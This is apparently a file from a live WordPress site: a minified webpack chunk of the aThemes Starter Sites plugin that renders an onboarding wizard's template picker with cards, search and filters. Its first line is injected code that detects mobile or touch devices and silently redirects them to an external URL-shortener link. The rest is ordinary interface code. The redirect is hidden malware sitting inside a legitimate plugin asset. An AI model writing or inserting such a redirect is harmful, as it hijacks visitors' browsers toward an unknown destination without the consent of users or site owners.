File: //home2/gazetufm/bleje.net/wp-content/plugins/athemes-starter-sites/v2/onboarding/build/73.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
"use strict";(globalThis.webpackChunkathemes_starter_sites=globalThis.webpackChunkathemes_starter_sites||[]).push([[73],{73:(e,s,t)=>{t.r(s),t.d(s,{default:()=>v});var a=t(87),r=t(723),n=t(374),l=t(460),i=t(790);const o=function({id:e,name:s,thumbnail:t,preview:n,type:o,onSelect:c,isPreloaded:d=!1,isSelected:u=!1}){const[h,m]=(0,a.useState)(!1),[_,p]=(0,a.useState)(!1),g=(0,a.useRef)(null),b=(0,a.useRef)(null),x=(0,a.useMemo)(()=>{const s=window?.atssOnboarding?.themeName||"sydney";return(0,l.nS)(e,s)},[e]),y=(0,a.useCallback)(()=>{c&&c(e)},[c,e]),v=(0,a.useCallback)(()=>{m(!0),p(!0)},[]),C=(0,a.useCallback)(()=>{m(!1),p(!1)},[]),w=(0,a.useCallback)(e=>{"Enter"!==e.key&&" "!==e.key||(e.preventDefault(),y())},[y]),f="pro"===o?(0,r.__)("Pro","athemes-starter-sites"):(0,r.__)("Free","athemes-starter-sites"),j="pro"===o?"atss-starter-card__badge--pro":"atss-starter-card__badge--free";return(0,i.jsxs)("div",{className:"atss-starter-card"+(u?" atss-starter-card--selected":""),onMouseEnter:v,onMouseLeave:C,onClick:y,role:"button",tabIndex:0,onKeyDown:w,"aria-pressed":u,children:[(0,i.jsx)("div",{className:"atss-starter-card__preview",ref:b,children:(0,i.jsx)("img",{ref:g,src:x,alt:s,className:"atss-starter-card__thumbnail "+(_?"atss-starter-card__thumbnail--scrolling":""),onLoad:()=>{if(g.current&&b.current){const e=g.current.offsetHeight-b.current.offsetHeight,s=e/200,t=e/800;b.current.style.setProperty("--scroll-distance",`-${e}px`),b.current.style.setProperty("--scroll-down-duration",`${s}s`),b.current.style.setProperty("--scroll-up-duration",`${t}s`)}},loading:"lazy"})}),(0,i.jsxs)("div",{className:"atss-starter-card__info flex items-center justify-between",children:[(0,i.jsx)("span",{className:"atss-starter-card__name font-medium text-md",children:s||(0,r.__)("Unnamed Demo","athemes-starter-sites")}),(0,i.jsx)("span",{className:`atss-starter-card__badge ${j} text-xs`,children:f})]})]})};var c=t(998),d=t(427),u=t(573),h=(0,i.jsx)(u.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,i.jsx)(u.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})}),m=(0,i.jsx)(u.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,i.jsx)(u.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"})});const _=function({searchValue:e,onSearchChange:s,selectedBuilder:t,onBuilderChange:n,builders:l=[]}){const[o,c]=(0,a.useState)(!1),u=(0,a.useRef)(null),_=(0,a.useMemo)(()=>l.find(e=>e.value===t)||l[0],[l,t]);return(0,a.useEffect)(()=>{const e=e=>{u.current&&!u.current.contains(e.target)&&c(!1)};return o&&document.addEventListener("mousedown",e),()=>{document.removeEventListener("mousedown",e)}},[o]),(0,i.jsxs)("div",{className:"atss-search-starters-control",children:[(0,i.jsxs)("div",{className:"atss-search-starters-control__search",children:[e?(0,i.jsx)("button",{type:"button",className:"atss-search-starters-control__clear-button",onClick:()=>{s("")},"aria-label":(0,r.__)("Clear search","athemes-starter-sites"),children:(0,i.jsx)(d.Icon,{icon:h})}):(0,i.jsx)("svg",{width:"17",height:"17",viewBox:"0 0 17 17",fill:"none",xmlns:"http://www.w3.org/2000/svg",className:"atss-search-starters-control__search-icon","aria-hidden":"true",children:(0,i.jsx)("path",{d:"M13 6.5C13 7.9375 12.5312 9.28125 11.75 10.3438L15.6875 14.3125C16.0938 14.6875 16.0938 15.3438 15.6875 15.7188C15.3125 16.125 14.6562 16.125 14.2812 15.7188L10.3125 11.75C9.25 12.5625 7.90625 13 6.5 13C2.90625 13 0 10.0938 0 6.5C0 2.9375 2.90625 0 6.5 0C10.0625 0 13 2.9375 13 6.5ZM6.5 11C8.09375 11 9.5625 10.1562 10.375 8.75C11.1875 7.375 11.1875 5.65625 10.375 4.25C9.5625 2.875 8.09375 2 6.5 2C4.875 2 3.40625 2.875 2.59375 4.25C1.78125 5.65625 1.78125 7.375 2.59375 8.75C3.40625 10.1562 4.875 11 6.5 11Z",fill:"#A7AAAD"})}),(0,i.jsx)("input",{type:"text",className:"atss-search-starters-control__search-input",placeholder:(0,r.__)("Search for starter template","athemes-starter-sites"),value:e,onChange:e=>s(e.target.value),"aria-label":(0,r.__)("Search for starter template","athemes-starter-sites")})]}),(0,i.jsxs)("div",{className:"atss-search-starters-control__builder",ref:u,children:[(0,i.jsxs)("button",{type:"button",className:"atss-search-starters-control__builder-button",onClick:()=>c(!o),onKeyDown:e=>{"Escape"===e.key?c(!1):"Enter"!==e.key&&" "!==e.key||(e.preventDefault(),c(!o))},"aria-haspopup":"listbox","aria-expanded":o,"aria-label":(0,r.__)("Select page builder","athemes-starter-sites"),children:[(0,i.jsxs)("div",{className:"atss-search-starters-control__builder-current",children:[_?.icon&&(0,i.jsx)("span",{className:"atss-search-starters-control__builder-icon",children:_.icon}),(0,i.jsx)("span",{className:"atss-search-starters-control__builder-label",children:_?.label||(0,r.__)("Select Builder","athemes-starter-sites")})]}),(0,i.jsx)(d.Icon,{icon:m,className:"atss-search-starters-control__builder-dropdown-icon "+(o?"is-open":"")})]}),o&&(0,i.jsx)("div",{className:"atss-search-starters-control__builder-dropdown","data-dialog":!0,role:"listbox","aria-label":(0,r.__)("Page builder options","athemes-starter-sites"),children:l.map(e=>{const s=e.value===t;return(0,i.jsxs)("button",{type:"button",className:"atss-search-starters-control__builder-option "+(s?"is-selected":""),onClick:()=>{return s=e.value,n(s),void c(!1);var s},role:"option","aria-selected":s,...s&&{"data-active-item":!0},children:[e.icon&&(0,i.jsx)("span",{className:"atss-search-starters-control__builder-option-icon",children:e.icon}),(0,i.jsx)("span",{className:"atss-search-starters-control__builder-option-label",children:e.label})]},e.value)})})]})]})};var p=t(874);const g=function({selectedType:e,onTypeChange:s,selectedCategory:t,onCategoryChange:a,resultsCount:n,typeOptions:l,categoryOptions:o}){if(!p.A)return(0,i.jsxs)("div",{className:"atss-filter-starters-control",children:[(0,i.jsxs)("div",{className:"atss-filter-starters-control__filters atss-form-field",children:[(0,i.jsx)(d.CustomSelectControl,{label:(0,r.__)("Type:","athemes-starter-sites"),options:l,value:e,onChange:s,__next40pxDefaultSize:!0}),(0,i.jsx)(d.CustomSelectControl,{label:(0,r.__)("Category:","athemes-starter-sites"),options:o,value:t,onChange:a,__next40pxDefaultSize:!0})]}),(0,i.jsx)("div",{className:"atss-filter-starters-control__results text-sm text-secondary",children:0===n?(0,r.__)("No results","athemes-starter-sites"):(0,r.sprintf)(
// translators: %d is the number of results
// translators: %d is the number of results
(0,r._n)("%d result","%d results",n,"athemes-starter-sites"),n)})]})};var b=t(880),x=t(809),y=t(668);const v=function({onBack:e,onContinue:s,onSkip:l,navigationLoading:d,navigationError:u}){const{wizardData:h,setPrefetchedPages:m,updateStepData:p,builder:v,setBuilder:C}=(0,x.X)(),w=(0,c.ib)(),f=v||"gutenberg",j=[{key:"all",name:(0,r.__)("All","athemes-starter-sites")},{key:"free",name:(0,r.__)("Free","athemes-starter-sites")},{key:"pro",name:(0,r.__)("Pro","athemes-starter-sites")}],k=[{key:"all",name:(0,r.__)("All Categories","athemes-starter-sites")},...b.A.filter(e=>"other"!==e.key)],[N,S]=(0,a.useState)(h?.design?.selectedSiteId||null),[L,z]=(0,a.useState)(""),[B,D]=(0,a.useState)(v||"gutenberg"),[E,P]=(0,a.useState)(j[0]),[T,A]=(0,a.useState)((()=>{const e=(h["getting-started"]||{}).siteCategory;return e&&e.key?"other"===e.key?k[0]:k.find(s=>s.key===e.key)||k[0]:k[0]})());(0,a.useEffect)(()=>{D(v||"gutenberg")},[v]);const I=t(921).A,M=t(811).A,O=[{value:"gutenberg",label:(0,r.__)("Block Editor","athemes-starter-sites"),icon:(0,i.jsx)("img",{src:I,alt:""})},{value:"elementor",label:(0,r.__)("Elementor","athemes-starter-sites"),icon:(0,i.jsx)("img",{src:M,alt:""})}],V=(0,a.useMemo)(()=>w.filter(e=>{const s=e.builders?.includes(B),t="all"===E.key||e.type===E.key,a="all"===T.key||e.categories?.includes(T.key),r=!L||e.name?.toLowerCase().includes(L.toLowerCase())||e.categories?.some(e=>e.toLowerCase().includes(L.toLowerCase()));return s&&t&&a&&r}),[w,B,E,T,L]);return(0,i.jsxs)("div",{className:"atss-onboarding-wizard__step atss-onboarding-wizard__step--design",children:[(0,i.jsx)("main",{className:"atss-onboarding-wizard__step-body",children:(0,i.jsxs)("div",{className:"atss-onboarding-wizard__step-body-content w100",children:[(0,i.jsx)("h2",{className:"atss-onboarding-wizard__step-body-title text-xl font-medium",children:(0,r.__)("Select a Template to Start With","athemes-starter-sites")}),(0,i.jsx)("p",{className:"atss-onboarding-wizard__step-body-description w100 text-sm text-secondary",children:(0,r.__)("Choose a template that matches your style. You can customize everything later to make it uniquely yours.","athemes-starter-sites")}),(0,i.jsx)(_,{searchValue:L,onSearchChange:z,selectedBuilder:B,onBuilderChange:e=>{D(e),C(e)},builders:O}),(0,i.jsx)(g,{selectedType:E,onTypeChange:({selectedItem:e})=>P(e),selectedCategory:T,onCategoryChange:({selectedItem:e})=>A(e),resultsCount:V.length,typeOptions:j,categoryOptions:k}),V.length>0?(0,i.jsx)("div",{className:"atss-design-demos-grid",children:V.map(e=>(0,i.jsx)(o,{id:e.id,name:e.name,thumbnail:e.thumbnail,preview:e.preview,type:e.type,isSelected:N===e.id,onSelect:e=>{if(e===N)return S(null),(0,y.v)("onboarding_design_selected",{builder:B,step:"design",demo_id:e,has_selected_starter:!0}),void s({selectedSiteId:e});m(null),p("pages",{selectedPages:[]}),B!==f&&p("features",{}),S(e),(0,y.v)("onboarding_design_selected",{builder:B,step:"design",demo_id:e,has_selected_starter:!0}),s({selectedSiteId:e})}},e.id))}):(0,i.jsxs)("div",{className:"text-center text-secondary",style:{marginTop:"24px"},children:[(0,i.jsx)("p",{children:(0,r.__)("No templates found.","athemes-starter-sites")}),(0,i.jsx)("p",{children:(0,r.__)("Try adjusting your search or filter criteria.","athemes-starter-sites")})]})]})}),(0,i.jsx)(n.wi,{showBack:!0,showSkip:!0,showContinue:!1,continueText:(0,r.__)("Continue","athemes-starter-sites"),onBack:e,onSkip:l,onContinue:()=>{s({selectedSiteId:N})},continueDisabled:!N,continueLoading:d,continueError:u})]})}},998:(e,s,t)=>{t.d(s,{DW:()=>l,ib:()=>r,tO:()=>n,x3:()=>i});const a=()=>window.atssOnboarding?.demos||{},r=()=>{const e=a();return Object.entries(e).map(([e,s])=>({id:e,...s}))},n=e=>{const s=a();return s[e]?{id:e,...s[e]}:null},l=(e,s="gutenberg")=>{if(!e)return"";const t="petshop"===e.id?"gutenberg":s;return e.previews?.[t]||e.preview||""},i=()=>window.atssOnboarding?.themeName||"sydney"}}]);